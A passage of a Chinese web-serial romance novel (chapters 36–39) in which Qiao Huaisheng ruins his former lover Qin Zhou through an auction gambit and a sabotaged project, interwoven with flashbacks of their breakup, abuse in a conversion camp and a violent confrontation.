宁斯与垂眸看了一眼——那是一双对戒。 素色的戒指没有任何的装饰,但正因为如此,它也很难被当作配饰的用途,那就只能是…… “你只要拿出来,自然会有人给你付钱。”想起那张请柬上的字,乔淮生轻轻地笑了声。 “今夜愿与您验证忠诚。” 真好,乔淮生想,万千高楼一夜坍塌,他带着骨头过去,理所应当会在这样的不眠夜里……见证秦舟的忠诚。 第36章 第三十六章 “汗液滴落,压抑呻.吟”…… “欢迎各位来到W·S的慈善拍卖晚会, 首先,有请我们品牌的名誉会长, 秦舟,秦先生上台致辞!” 乔淮生刚一进门,就听到主持人在台上的这番话。 纵缰刚刚宣布,正式签署崇山项目,几十亿的资金砸下去,誓要开创沿清江湾的一体式产业园,正是所有人眼中的一艘巨轮, 自然万众瞩目。 而秦舟迎着这些目光,微笑致谢,彬彬有礼地走上台。 当初秦舟刚刚回国的时候, 他们的初遇就是这样的一个场面,现在, 还是跟以前一模一样的场景。 乔淮生静静地凝视着秦舟最后的辉煌,有礼宾迎着他入内:“乔总, 您的位置在这里。” 明明是对家, 但是出于地位的考虑, 乔淮生跟秦舟的位置是在同一排,只是中间隔了一个过道。 发言结束, 秦舟走下台,长腿在西装下勾唇出健硕的形状,双腿交叠一落座, 目光扫过乔淮生,却又看了眼他身后的宁斯与,原本微笑的眼睛眯起:“乔总还带了伴来?” 乔淮生微一挑眉:“不能吗?” “当然可以,”秦舟松了松领口, 视线从宁斯与身上收回来,却只望向乔淮生,“那我能不能让乔总……多看看身边人?” 语气低沉却乖顺,仿佛他真的把乔淮生那天的训诫听了进去——想要什么,应该去找乔淮生要,而不是别人。 乔淮生轻笑了声:“那秦总的诚意呢?” 拍卖会很快开始了。 拍品一个一个地展出,今天商贾云集,每个人都希望在这里有个露脸和被记住的机会,上面的藏品一个比一个华丽。 秦舟间或举牌拍下一两个东西。 纵缰总裁没什么别的爱好,只是喜欢收集一点珠宝,当初刚认回秦家,在华尔街赚到的第一笔钱,就是买了一款全球限量的缺月项链。 价格之昂贵,以至于秦舟刚刚拍下的第二天,就被记者添油加醋地登了报。 不过他拍东西也没什么要收藏和倒卖的意思,纯粹图一个好看,可拍卖会进到中程,出现在展柜里,却是一双其貌不扬的对戒。 颜色很素,以至于他只可以出现在某个小城的商品展柜,而不是现在,代表行业最顶尖设计的珠宝大会。 更何况,它的起拍价还是五百万。 众人议论纷纷,拍卖师叫了三遍还是没有人举牌,都以为这件肯定要流拍。 “怎么这个东西就拿上来了?” “就是,既不是什么名家也没什么特别的设计,这东西能值五百万?” “他的提供者是谁啊?有人认识吗?该不是随便糊弄一个东西,来这里圈钱了?” 这件东西属实算不上什么特殊,不管是收藏还是当做饰品,看起来似乎都没有任何价值,很多人只看一眼就转过了眼睛,等着最后的流拍。 唯有秦舟微微抬起眼,定定地看着展柜里的对戒。 带着乔淮生私奔之后,他们曾经过过一段时间的窘迫日子。 那或许是乔淮生这辈子都没经历的贫瘠,为了他避免被乔家找到,甚至不能去工作。 他们只能靠顾舟临时接得一点散活来补贴家用,不过顾舟对工作也不挑剔,什么赚钱做什么,在信息技术高涨的时代,很快找到了一个码农的零活。 乔淮生坐在沙发上,一边看电影一边看了眼他的屏幕:“这些鬼画符是什么?” “一种类似于DES的对称加密技术,用于防止信息泄露。” 乔淮生眨了眨眼睛。 于是顾舟放下电脑:“类似于摩斯电码。” 他屈指在桌面上敲了敲,三长一短,一共四声:“就像这样,如果我们两个之间用只有我们知道的方式加密,那么下次再出现的时候,就只有我们知道它的含义。” “那它的含义是什么?” 顾舟抬起眼:“你今天吃饭了吗?” “真无聊。”乔淮生从沙发坐在地毯上,手指撑起望向顾舟的眼睛,“换一个。” 荧幕的一点光亮落在乔淮生漂亮的脸上,顾舟离得近,连眨动的长睫都清晰可见,喉结微微滚了下:“你……我今晚没有工作。” 他说话的时候,手指已经沿着乔淮生的衬衫摸到腰窝,原本沉静的目光里满是汹涌的欲望。 “你脑子里就只有这点东西?” 顾舟于是把下巴搁在乔淮生的肩上,自从确认关系之后,他就很喜欢这样贴在乔淮生的身上,好像要把从小到大缺少的触碰全都在乔淮生一个人身上找回来似的:“那你说呢?” “我爱你。” 顾舟猛地转过头,贴在乔淮生身上的指尖明显颤了下。 但是乔淮生微微勾了下唇角,满不在乎地样子:“我是说这个密码。” “不行,”手指沿着腰身下移,指尖暧昧地停在原地,却不继续动作,带了几分逼问,“再说一遍。” “说什么?” 顾舟屈指在桌上又敲了四下,三长一短:“这个,密码。” 于是乔淮生转过头,眼尾的痣像是勾人的妖:“是什么?” 他微微侧身,被抚摸的地方就在钻进顾舟的掌心,又问:“顾舟?” 顾舟呼吸有些热,却一瞬间明白了乔淮生的意思,贴在他的耳边,像是私语:“我爱你。” 哗啦,有什么从掌心坠落到桌上。 顾舟垂下眼,才发现那是一组素色的男士对戒,上面没有什么装饰,却足以让人心潮澎湃。 掌心慢慢地变得灼热,顾舟的吻落在乔淮生的耳廓,听到他道:“闫玲说《白日焰火》进决赛了,这是预支的奖金。” “高端设计师的是不用想了,不过你有一个特权,等忙完这一阵,未来的大导演亲自给你刻一个。” 乔淮生转过身,仰头望向顾舟的脸,手指沿着衣袖摸进他的腰身:“跟你腰上的这个一样?” 顾舟的呼吸逐渐急促,乔淮生轻笑了声:“那看来是很喜欢。” “等决赛的奖金拿到,再给你打块牌子挂脖子里好不好?” 碍事的上衣被同时掀开,唇齿的交缠的一瞬间,顾舟听到乔淮生的声音:“我也爱你。” 轻轻地抚了下指骨,无名指的地方空空荡荡,秦舟抬起头。 橱窗里的戒指颜色陈旧,银色的光泽下没有任何装饰,一如空白的五年。 在拍卖师宣布流拍之前,秦舟终于抬起手: “三千万。” “多少?三千万?” “这个东西能值三千万? ” “这是有什么好收藏的,外面不是有一堆?” “就是啊,纵缰的行情得多好啊,难道真是有钱花不出去了?” 没有人想过秦舟会突然把这个抬到三千万,唯有乔淮生依然坐在旁边,眉目沉静,仿佛压根没有听到这个声音。 拍卖师举起槌:“三千万一次,三千万……” “六千万。”秦舟忽然又开口了。 这下不止坐着的观众,连觥筹交错的众人都转过了头。 “六千万一次,六千万……” “一个亿。” 杯子被放在旁边,所有人都盯着秦舟,甚至怀疑他是不是因为纵缰的业绩高兴得昏了头,以至于做出这么不理智的事情。 “一个亿一次,一个亿……” “一亿三千万。” 旁边的宁斯与冷汗直冒,怎么也没想到乔淮生说好要给他的定金会是这个数目,有些紧张地凑到乔淮生身边:“乔总……” “一亿五千万。” 秦舟突然又开口了。 整个会议寂静一片,所有人都以为秦舟是疯了,只有乔淮生一个人坐在原位,从头到尾都波澜不惊,好像早就料到现在的局面,压根没有往旁边看一眼。 “两亿。” 低沉的声音响起,这场拍卖成了秦舟一个人的竞价,没有人知道他心中的那个目标是什么,对手又是谁,只有这两只其貌不扬的陈旧戒指,从一点微薄的奖金,仅仅过了五年—— “两亿七千万。” 秦舟的声音落地,全场一片寂静,就算是纵缰的体量再大,公司的现金流到底是公司的,更何况,现在掌权的还是秦舟的叔叔秦之昭。 他不过才刚刚回来五年,两亿七千万很可能是全部的个人身家。 众人一片咋舌,可就在拍卖师都哆嗦着念数字的时候,秦舟居然又开口了:“三个亿。” 这几乎已经到了要变卖房产的地步,可说完这句话,秦舟这才转过头,望向旁边隔了一条走廊的人:“现在够诚意了吗,乔总?” 乔淮生微微侧头,听到他带着几分讨好的声音:“那,消消气?” 交了50%的定金,那两枚戒指才到了秦舟的手中。 原本空荡荡的无名指被重新占满,酒店套房里,指骨揽着劲瘦的腰身,深一点颜色陷在白皙的腰窝里分外明显。 秦舟屈膝顶在床上,乔淮生一只手挑起他的下巴,垂眸给他一个吻:“算是奖励。” 手指轻轻地拍了拍秦舟的脸颊:“今天表现还不错。” 唇舌刚刚退出,就被人重新勾了回去,指骨因此陷得更深,呼吸灼热又急促:“三个亿,只是这点奖励吗?” “乔总,”滚烫的吻落在耳垂,衬衫沿着腰身挤掉一半,“就算是喂狗,起码也应该给根肉骨头吧?” “行,”乔淮生轻笑了声,作势往后一躺,撕扯到一半的衬衫因此崩得更开,露出大片雪白紧实的胸膛,“那你自己来啊。” 眼眸一深,秦舟猛地吻了上去,床单因此被拉扯出褶皱,眼尾的红好像是调情的纱,乔淮生的手指插进秦舟的发丛,在过分用力时将人拉起:“拿我磨牙呢?” “五年过去,乔总还是这么娇气。” 秦舟轻叹了一声,却按着乔淮生背过身去,修长的手指划过他的脊背:“但是……肉沫没有榨干净,怎么能叫做骨头?” 金属指环陷进唇缝堵住声音,秦舟的手机响了一声,还没来得及接通,就被人按了静音一脚踢到床底下。 唯有乔淮生那里传来短信的声音:“乔总,成了。” 就在秦舟以三亿天价拍下两枚素戒的当天夜里,即将动工的崇山就被爆出土壤密实度超标,当地的检测跟镇长当天就拿着尾款跑到了国外,项目被迫停摆。 手机亮了又灭,当天夜里,秦舟有上百个电话进来,可直到手机没电自动关机,也没有得到回应。 一起被掉过去的还有半边被子和用过的塑料薄膜,床上一片脏污,于是秦舟干脆将乔淮生抱了起来。 后背抵着墙壁,感知却因此更加深刻,指尖在坚实的臂膀上拉扯出红痕,连同纠缠的唇舌一起品尝出血腥味。 他们紧紧地相拥,汗液滴落,压抑呻.吟。 在明日崩塌之前,仿佛此刻就是极乐。 第37章 第三十七章 “我终于也背叛你一次了。…… 纵缰大楼, 男人的领结包裹住脖颈,垂下的衣袖甚至连手腕都遮得严严实实, 唯有那双眼睛依然锐利深邃,来往的人群匆匆忙忙,几乎都是跑着往里进,甚至都没人发现,他身上的西服还是昨天的那一件。 秦舟一进门就被围住了。 “秦总!” “秦总,崇山那边到底是怎么回事?” “秦总,公司股票今天一开盘就跌了几个点, 现在涨势还是往下,市场那边过来问,是否需要暂时停牌?” “不用, ”秦舟一边看手上的文件一边往前走, “现在停牌只会更加造成市场恐慌, 现在去找评估机构重新出具鉴定书,估算土地剩余价值。” “去通知召开董事会, 商议启动自有资金回购流动股稳定市场, 询问股东增持意见。” 秦舟一边走, 一边有条不紊地安排着诸项事宜,程阮跟在他的身后:“秦总。” “对不起秦总, 这次的项目是我……” “对现在局面没有用的事情就不用说了,”秦舟打断他,“最后拍板的人是我。” “无论如何, 我才是事件的第一负责人,”秦舟问,“签约的那几个人呢?” “早跑到国外去了!从一开始,他们就知道这批地有问题, 就等着拿了钱跑路呢!这群王八蛋!” “放出消息,不管用什么办法,都要把人给我抓回来,伤残不论。” 男人眼中的阴霾让程阮不由得打了个寒颤:“那……要是找不回来呢?” 秦舟冷笑了一声:“那就让我们即便是待着,也绝对不能安稳。想从我这里拿钱,我怎么能让他们安心得睡得着觉?” 从头到尾,秦舟都没有表现出特别愤怒,可直到此时,程阮才感到一丝可怖的气息,他不由得想到之前秦舟在国外的那些故事。 只用了五年就从一个名不见经传的穷小子混到如今的位置,秦之昭并没有因为他的姓给过秦舟半分的优待,他的每一步都是靠自己得来的。 摸了摸额角的冷汗,虽然知道秦舟可能不爱听,程阮还是道:“还有……秦总……” “什么?” “这次的事情,如果说真的只是镇长联合机构的人骗我们,那他们何必把这件事大张旗鼓地曝出来呢,等我们自己发现跑远点不好吗?” “而且……昨天晚上媒体那么统一,短短一晚热度就上来那么快,我们连个压消息的机会都没有就被推了出来。” “我总觉得……”程阮观察着秦舟的神色,“我总觉得……像是有人早就知道这件事,就等着我们签完约掉坑里一样。” 秦舟搭在桌上的手猛地收紧。 程阮都能想到的事他不可能想不到,只是……昨天晚上。 那些暧昧的痕迹还留在身上,那些拉扯与纠缠仿佛刚要隔着血痕刻进骨子里,可就在这时,手机铃声突然响了。 秦舟静静地抬眸,程阮立刻识趣地出了门。 这才接起了电话:“醒了?” “嗯,”那边的声音带着些醒后的沙哑,有些性感,以至于秦舟摩挲指尖,不由想象他现在的样子。 “早饭已经点好了,现在要吃吗?” “我知道,”乔淮生轻笑了声,“很合胃口,谢谢。” 于是秦舟也轻笑了声:“乔淮生。” “嗯?” 秦舟动了动手腕,将自己站在玻璃窗旁,阳光照到掌心:“戒指很好看。” “是吗?”乔淮生轻声道,“可是我什么都没有刻。” “那我来刻,”秦舟说,“可以吗?” 耳边传来一声轻笑:“所以不是未来的大导演,而是未来的大总裁了吗?” “所以,”手腕垂下,秦舟又问了一遍,“可以吗?” 可以当做什么都没有发生过吗? 可以就这么过下去吗?可以就沉浸在这样的虚妄的幸福里,等待着秦舟慢慢地蚕食自己,或者再像以前一样,等待着某一天里,突然降临的背叛吗? 肩上的睡袍滑落了一点,露出大片雪白的肩胛和上面嫣红的风光,昨晚一定兴致激烈,只可惜,今朝已经是今朝了。 子弹出膛,便没有回头的机会。 乔淮生静静地喝了口粥——或许是正是因为这家做的粥比较合他的胃口,秦舟才将酒店定在了这一家,乔淮生轻轻地笑了声: “秦舟,之前我的一切,我从来没有忘记过。” “还有,”他说完,没有再听秦舟的回答,只是问,“今天晚上,要我去接你下班吗?” * 连续忙了一天的公关,秦舟才起身,疲惫地揉了揉眉心。 手机又有电话进来:“秦总,拍卖行那边过来进行资产核实了,他们说您名下没有房产,剩下的账目……” “就按之前说的进行核算吧,东西不都提交了吗?” 挂了电话,秦舟这才有工夫喝了口水。 办公室的门唰地被人推开,秦舟刚要皱眉,便听到来人道:“秦总!秦董说让您现在去董事会?” 秦舟看了眼腕表:“会议不是还有两个小时才召开?” “是,您通知的是六点,但是秦董……秦董他自己发了内部通知,现在人都到齐了,他们说要……” 秦舟一把推开了会议室的门。 “今天的会议主旨是,”坐在上位的秦之昭看了他一眼,不紧不慢地补完了下半句,“启动对秦舟总裁以及副董事位置的弹劾机制。” “秦舟在担任纵缰董事的期间,多次工作懈怠,致使公司决策出现重大失误,给公司造成了巨大利益损失,董事会一致决定,秦舟已经不再适合担任公司的决策层,应对其进行职务罢免。” “什么!”程阮第一个开口,“秦总这五年来为公司创造多少业绩,怎么能因为一次的失误就罢免他!而且秦总他已经想好了公关方案,只要我们……” “什么时候董事开会,还有秘书说话的份了。” 秦之昭的视线冷冷地扫过他:“出去。” “我记得,只凭一次决策,”秦舟打断他的话,静静道,“董事会应该是无权对现任执行董事进行弹劾的。” “是!一次清江湾的蠢事还不够!”秦之昭猛地将手中的照片冲着秦舟砸了过去,“那这些呢!你要不要跟诸位董事解释一下这些是什么!” 纸片雪花一样纷纷扬扬地落在地上,秦舟捡起来看了一眼。 最上面是一张剪报。 报纸标题取得很有意思:“纵缰总裁一掷千金为美人,上亿市值为何蒸发?” 上面的文字极尽离奇,将秦舟写成了一个为了纵情酒色流连夜场的废物,好似所有股民的钱都被他骗过来为自己享乐,而他在拍卖会上一掷而出的三个亿,被人添油加醋写成是崇山项目的款项,仿佛秦舟早就已经跟检测机构串通好,估计做了这么一出戏放出利好消息入市,随后自己宰杀散户,却拿着这笔钱满足满足私欲。 可以想见,这种标题正好满足一部分人仇富的心理,下面洋洋洒洒全是谩骂,从秦舟的身世到他之前在国外不择手段的一系列举动。 这个消息本来也好澄清,只是,这个小报偏偏还配了一张真实的图—— 装修的华丽盥洗室里,秦舟揽着一个人的腰将人按在洗手台上亲吻,急不可耐的样子让他在这样的场合就兽性大发,那人虽然只漏了一点腰身,却能够凭借身上的西装看出是个男人。 而且,他身上的那套西装,跟当时拍卖会那两枚戒指的提供者一模一样。 秦舟当然知道照片里的另一人是谁。 他只是没注意到,昨天的宁斯与身上的衣服,居然跟乔淮生在酒局上那身是同一套。 原来,原来从那个时候开始,他就已经开始筹划着这一天了吗? 其实……可以早一点告诉他的。 因为,只是这么一张照片,秦舟便不可能再有任何辩解,任何澄清,他宁愿自己被辱骂过千万条,也不会把乔淮生这个样子时的正脸公诸人前。 但或许,这也是乔淮生计划中的一部分吧。 他或许是料准了这一点,所以才这么肆无忌惮吧。 “这些呢!” 秦之昭摔下的纸片里全是各大媒体对这件事的报道,仅仅半天时间,这件事情已经不断发酵,连同崇山项目的失利,将纵缰钉在了耻辱柱上,连同他从贫民窟里带出的总裁。 “秦舟!这些你有什么好解释的!” “没有。” 秦舟的指尖颤了颤,弯下腰,将那扔到地上的剪报捡了起来,拍了拍那落在那人身上的灰尘:“对此,我没什么要说的。” “好!”秦之昭一点头,“现在在公司官网发布公告,罢免秦舟纵缰集团的总裁一职,并解除其在董事会的职位。” 秘书噼里啪啦起草着文字,下面一片哗然,唯有秦舟本人对此不发一言,好像那个在一瞬间失去一切的人不是他一样。 “还有,”说罢,秦之昭的手指在桌上点了点,“根据章程,你存在玩忽职守和与事故方串通的嫌疑,在公司股价稳定之前,需要暂时冻结你的个人资产。” “我的个人资产?” 听到这儿,秦舟终于轻轻地笑了声 ,晃了晃手上的报纸:“你觉得,我现在还有什么个人资产吗?” 三个亿,是秦舟这五年来所有的积蓄。 不只是现金流,甚至包括秦舟所有的投资理财产品乃至各类藏品。 除此,他是真的身无分文一无所有了。 秦舟垂眸看了下,众人这才发现,他的无名指上,带了一枚素圈的戒指。 那上面空空荡荡没有任何装饰,是陈旧到追也追不回的款式。 他用自己全部的积蓄买下了它,所有人都拿他当个傻子。 只有秦舟自己把它当做和好的信号。 而现在……原来这戒指,从头到尾都是假的。 “你还真是个情种,”董事会的人散得七七八八,秦之昭推着轮椅来到他身边,“可是我早就告诉过你,他们乔家全都是冷心冷肺的东西。” “你怕不是忘了,你堂哥是怎么死的!” 秦之昭的手指紧紧地握在轮椅边缘,几乎是狰狞地盯着现在的秦舟:“我花了五年培养你,可是你一见到他,就什么都交了。” “真是没用的东西。”秦之昭的声音像是阴恻恻的毒蛇,“要我再重新教你一遍吗?” 秦舟垂在身侧的手颤了颤,秦之昭嗤笑了一声:“放心,不会把你放到军队或者什么森林里了,我现在才发现,血肉上的锻炼是没什么用的。” “你还是需要自己看清楚,”秦之昭指了指心脏的位置,“你觉得……” “你不是秦总之后,其他人会怎么看你,那个乔家的大少爷,又会怎么对你?” “把你当做和其他人一样的小玩意儿?还是丢在人堆里的垃圾?哦对,” “他现在这样,一定很恨你吧,说不定,比其他人更能带给你惊喜呢?” “刚好酒庄里缺一个服务生,既然这么擅长,不如就去那吧。” 秦之昭冷笑着看着秦舟越来越苍白的脸:“好好看,你五年前要死要活护着的那个人……” “到底是怎么对你的?” * 秦舟出门的时候是无人相送的。 当初那些恭敬着叫秦总一个个都躲得很远,生怕近一点就被清算的人当做是秦舟这一派的人。 但事实上秦舟在公司也没什么派系。 电梯下到一楼,秦舟才发现下雨了。 前台一见他来便偏过了头,假装自己没有看见,以化解不得不微笑打招呼的尴尬。 于是秦舟也没有为难她。 他一个人推开旋转门,正要走进雨幕里。 “秦总!”程阮冲出来,递了一把伞给他,“外面下雨了。” “这次的事情,明明是秦董他……” “程阮!”秦舟向来冷心冷情,除了乔淮生以外的人都不怎么在乎,此刻却也不免多说了一句,“谨言慎行。” “谢谢你的伞。” 秦舟抬手撑开:“你放心,秦董真正想教训的只有我一个,不会对你们下手的。” 但即便这么说,来送他的,到底只有一个人。 当初他一无所有出国的时候,能带去的只有裂开的骨头和唇角的伤。 而现在,他再次一无所有的时候。 也不过一把伞……和一枚戒指。 仔细想想,似乎还是多了点的。 想到这儿,秦舟扯了扯嘴角,孤身走进雨幕里。 雨珠顺着伞边坠落下来,昂贵的西装裤脚很快被雨水打湿,过了一条马路,对面便是人来人往的商业街。 停在旁边的卡宴鸣了下笛,秦舟一回头,便见对方降下车窗,露出一张过分昳丽的脸。 如同电话里说的那样,乔淮生来接他下班了。 他们之间有过许多承诺,它们统统都不作数,而作数的却又全都不合时宜。 天地笼罩一场大雨,乔淮生在车内,秦舟在车外,指骨撑着一把黑伞,垂眸看着赶来的这人。 “疼吗?” 乔淮生轻声问。 有雨丝顺着车窗飘了进来,乔淮生微仰起头,看着秦舟指骨上的那枚戒指,却笑了:“你看。” 他说:“我终于……也背叛你一次了。” 第38章 第三十八章 “当然是抓回去当狗。”…… 第一次见到顾舟和秦之昭见面是什么心情呢? 一开始其实还是有点担心的, 在顾舟连续一周晚回家之后。 他说自己加班,虽然顾舟确实很忙——他总是尽力要给乔淮生一切好的东西, 不肯让物质上有任何的委屈,即便是这样的情况下,家里的沙发还是柔软干净,对面挂着投影仪,新鲜的花朵总是两天一换。 乔淮生劝了几次劝不住,于是破天荒地跟着顾舟出了门,打算在这人应酬的时候直接把人给拎回来。 他虽然不再是宁市的乔大少爷, 但是也没必要让顾舟牺牲到这个地步换这些东西。 只是等乔淮生气势汹汹地赶过去,看到的却是顾舟和……秦之昭。 他们相对而坐,姿态那样熟稔, 关系那样亲密,他甚至看到顾舟那样冷冰冰的人, 在听到秦之昭说了什么时候,居然轻轻地笑了一声。 他居然笑了。 对着秦之昭。 对着他这辈子最讨厌最痛恨最恨不得杀了的人。 “为什么死得那个人不是你呢?” “你知道你爸爸在之前有一个爱人吗?你知道他是怎么死的吗?” “因为你的存在, 他从二十多层跳了下去。” “你从出生开始……就带着罪孽。” “乔淮生乔淮生乔淮生乔淮生乔淮生乔淮生” 蛇信般的声音响在耳边, 好像是有谁在一声声地叫着他的名字。 “乔淮生!” 略带着冷淡的声音将他拉回现实, 看见顾舟推门望进来,神色里带着些疲惫:“你怎么了?” 乔淮生抬起眼, 定定地望着他:“你干什么去了?” “加班。” “加班?”多么轻描淡写的两个字,这些天里,顾舟一直都是这样加班的吗, 乔淮生冷笑一声,“跟人坐在咖啡馆里也算是加班吗?” “你自己闻闻顾舟,”他一把拎起顾舟的领子,“你身上是什么恶心的味道!” “你跟着我?” 顾舟抬起头, 眉眼中有一点疑惑:“为什么?” “你不放心我吗?还是觉得我会背叛你?” “你不会吗?那你告诉我,你见秦之昭做什么?!” “他是秦之昭……?”顾舟似乎愣了一下,可惜那声质疑太轻,乔淮生只听到他道,“他是我的客户。” “客户?什么客户! 秦之昭这样的人找你做客户?” 乔淮生冷笑一声:“行啊,那你现在把工作辞了。” 顾舟偏过头,似乎思考了一下:“不行。” “我的片子已经拿了冠军了,奖金很快就会到账!我不需要你每天给这样的客户陪笑,”乔淮生语速很快,几乎是立刻道,“我们可以再换一个地方,找一个小地方,我们……” 顾舟一把握住他有些颤抖的肩:“乔淮生,你还在害怕吗?” “你怎么了?”乔淮生今天的样子,一瞬间让他想起那天晚上,乔淮生穿着一身西装满面泪痕站在他家楼下的样子,顾舟不由得皱起眉,“你今天……” 乔淮生抬起头望他,眼尾像是有一点红,连那枚痣看起来都分外楚楚可怜:“顾舟,我再说一遍,把工作辞了。” 顾舟的心脏都跟着被攥紧,手指轻轻地碰了碰乔淮生的脸颊,却道:“不行。” “生生,我……” “那我换一个问法,”乔淮生偏头躲开了他,“你跟秦之昭断了,这辈子,永远都不要再见他,行吗?” 顾舟瞬间蜷缩了些,眼中闪过几分痛苦的挣扎,他其实很想将乔淮生抱进怀里,但最终也只是摇了摇头:“不行。” “好,好得很。”乔淮生彻底笑了起来,“那你现在走吧!” 分手两个字卡在嘴边,却怎么也没办法出口,乔淮生只是将桌上的花瓶抓起来砸到顾舟的身上,玫瑰散落一地,破碎的玻璃连同歇斯底里的声音: “滚!滚啊!” 顾舟离开了。 他甚至走之前,还贴心地将那堆碎片给收拾了一下。 以至于现在乔淮生的身体顺着墙壁滑下来,接住他的地毯依然是干净的、柔软的。 乔淮生静静地坐在房间里,第一次,他觉得这个小房间是那样空旷,如果一个人不发出任何声音,简直像是要被周围的黑暗吞噬一样。 咚、咚、咚。 不知过了多久,外面突然传来敲门声。 乔淮生猛地抬头来,一瞬间以为那是顾舟。 可是门打开,乔淮生才在刹那间想起来,如果是顾舟的话,他应该是用不着敲门的。 门外站着的是傅芸和乔南山。 激烈的反抗换来的只会是更激烈的教训,傅芸和乔南山把他带了回去……送进了戒同所。 身体被电流刺穿的那一瞬间是什么感觉?看着恶心的男人在自己的面前交.媾,想要把他们的皮一层层地剥下来,连同自己的。 被束缚在电击椅上的时候,有人反复问乔淮生到底做错了什么? 可是他做错了什么呢?因为喜欢顾舟吗?因为爱上一个人吗?因为爱上一个男人吗? 可是如果不是他……自己明明早就,早就已经死了啊。 在他昏黄的小巷,在那个丝带飘飞的片场,他早就应该死去了。 为什么还没有死呢,为什么现在还在活着呢? 乔淮生拿起牙刷折断后的木刺,静静地在镜子里望着自己的脖颈。 那一瞬间,他只有想起顾舟。 想起他们在血腥里接吻,想起顾舟坐着灵堂对他说:“乔淮生,我没有家人了。” “没关系,来找你的时候,我也没有了。” “如果你背叛我,我就打断你的腿。” “不用你动手……我自己来。” “我爱你。” “我也爱你。” 手指沿着脖颈往下摸,才从层层的束缚衣里摸出一个红绳,和下面挂着的,小小的戒指吊坠。 乔淮生说要自己把这枚戒指重新刻一遍,到底还是没能来得及。 不过还好……还好,他们还没有分手。 乔淮生还没有说分手。 只凭着这一个念头,乔淮生硬生生在里面挺了下来,很多时候他都以为是自己可能出现了幻觉,比如躺在电击椅上的时候,居然听到隔壁传来的咚咚声。 三长一短,好似幻听。 乔淮生不知道自己什么时候活下来,也不知道什么时候会死去。 只是出来的那一天,觉得外面的阳光有些刺眼,像是站不稳似的让人晕厥,随后才听到顾舟的消息—— “顾舟?现在应该姓秦了吧,你没听说吗?他现在是秦家新找回来的大少爷,可风光了!” 以及第二句: “学、学长,组委会说……您的那部片子涉及版权违规,取消了您的评奖资格,我们的电影……好像被卖了。” 乔淮生很轻地扯了扯嘴角。 手中的戒指打了个转,他没想到,和顾舟的第一次重逢,居然会是在媒体上。 顾舟穿着剪裁昂贵的西装,彬彬有礼地站在秦之昭的身边,陌生又得体,微笑着介绍自己:“大家好,我是秦舟。” 乔淮生在那个巷口堵住了他。 顾舟从一辆黑色卡宴上下来,似乎是想最后一次回去收拾东西,见到乔淮生,微微皱了下眉。 “顾舟,”乔淮生靠在墙边,夕阳的红披在他的身上,“或者我应该叫你……秦舟。” 顾舟静静地望着他,从他偏长的头发到略显苍白的脸庞,沉静的目光里带着几分哀痛,手指颤了颤,他很想现在抱住乔淮生,却也只能说:“最近还好吗?” “这算什么?”乔淮生嗤笑了一声,“礼节性的寒暄吗?” “我跟你们姓秦的可没什么好寒暄的。”他说着往前走了一步: “有的只有仇。” 乔淮生望着顾舟,从他打理精致的发型和满身昂贵的装饰,和他手指那枚……与之绝对不相称的素戒,一字一句:“所以……你姓秦吗?” 如果世界能够在此刻毁灭就好了。 可惜事事大多未能如愿,司机在身后鸣了下笛,顾舟道:“我现在叫秦舟。” “好,”乔淮生点头,“我们的电影,是你卖的吗?” “是。” “你见秦之昭,就是为了回到秦家吗?” “是。” “好,”乔淮生说,“最后一个问题。” “这些天……在秦家过得好吗?”他每说一句,就朝着顾舟走了一步,“做你的大少爷开心吗?拿着我的梦想做你的投名状,终于爬上这个位置,终于有那么多人看你的脸色关心你,满意吗?” 顾舟定定地望着他,指甲嵌进掌心,仿佛要刺出血来:“是。” “但是,”乔淮生一开口,眼泪就落了下来,“我会恨你。” “好。” “这是你先背叛我,”那个泪痣被染上了晶莹,“我不会原谅你。” “好。” “我不会放过纵缰,还有你。” “好。” “好,”那滴泪落到侧脸,被乔淮生抬手抹去了,他笑起来,“好。” 说罢,猛地一拳砸在了顾舟的脸上。 乔淮生用了十成十的力,以至于顾舟的唇角瞬间都溢出了鲜血,但是乔淮生压根不在乎,又是一拳猛地砸了上去。 成年男子愤怒之下的力气是十分惊人的,那些拳头落在顾舟的腰背腹部,整个人很快就变得伤痕累累,他是有机会还手的,可是顾舟一动也不动,任由乔淮生将那些愤怒与绝望发泄到他的身上,直到—— 咔嚓! 骨骼碎裂的声音在小巷里分外明显,顾舟似乎抽搐了下,垂在墙边的那条腿因为剧痛条件反射地屈起,连瞳孔都有些涣散。 众人这才注意到发生了什么—— “乔淮生!” “乔乔!行了!再打下去人没命了!” “腿!卧槽!他的腿是……” 有人开始来拉乔淮生,乔淮生却挣扎开,摸出一支烟来。 那是他人生中第一次抽烟,刚一入口,就咳得连肺腑都灼痛起来。 乔淮生微微偏了下头,眼睛因为这种咳嗽变得通红,却蹲下身,将顾舟的衣服扒开,露出下方紧实的腰腹来。 顾舟似乎知道了他要做什么,瞳孔紧缩,刚刚腿被折断时都没变过一下表情的人猛地往后退了一步。 乔淮生一把按住了他的身体。 当初的那个纹身依然没有及时补色,现在其实已经掉得差不多了,只有过分鲜艳的玫瑰花心还有一点余色。 而现在,乔淮生垂下眼,将滚烫的烟蒂死死地按灭在那朵花上。 皮肤一瞬间就起了褶皱,连同那点最后的花被烧了个干净,乔淮生一只手掰过顾舟的脸:“这是烙印。” “这辈子,不管在哪里当狗,你都要带着它。” 随后,他抬手,利落地将顾舟指尖上的那枚戒指给拔了出来: “现在,我们分手了。” * 顾舟……哦不,现在应该叫做秦舟了。 他去了国外之后,乔淮生才学会的抽烟。 喝酒、应酬、娱乐圈……当初乔南山不让他碰的事情,乔淮生统统碰了个遍。 不过不管他怎么折腾,乔南山也未见怎么生气。 从那一刻乔淮生才知道,他以前费尽力气只想讨一句夸奖的样子真是个傻子。 从乔少到受尽折磨的罪人,只需要做错一件事。 而从罪人到风光的乔总,也只需要做对一件事。 只要他和乔南山一样,发了疯得要弄倒纵缰。 而现在……他终于要成功了。 只是,雨丝飘进车窗,乔淮生只是觉得有点凉。 秦舟撑着一把伞,骨节修长的手指伸出来,将他那点雨给抹去了。 时至今日,他终于可以肆无忌惮碰上乔淮生,动作温柔,像是乔淮生当日问他那样问乔淮生:“所以……开心吗?” 终于快要扳倒纵缰,终于也背叛了他一次,开心吗? “我不知道。” 乔淮生仰起头,那薄薄的唇其实是冷情的长相,可偏偏又与这个人纠缠了这么久:“我只知道,” “你现在终于又是一无所有了。” “是啊,”秦舟说,“乔总打算怎么处置我呢?” “当然是抓回去当狗。” 乔淮生笑了声,指尖一点,副驾车门掀开:“秦舟,” “跟我回去吗?” 第39章 第三十九章 “不要心疼我。”…… “跟你回去?” 秦舟静静地看了乔淮生一眼:“我在乔总这里算什么?” “包养的小情人?还是收获的战利品?” 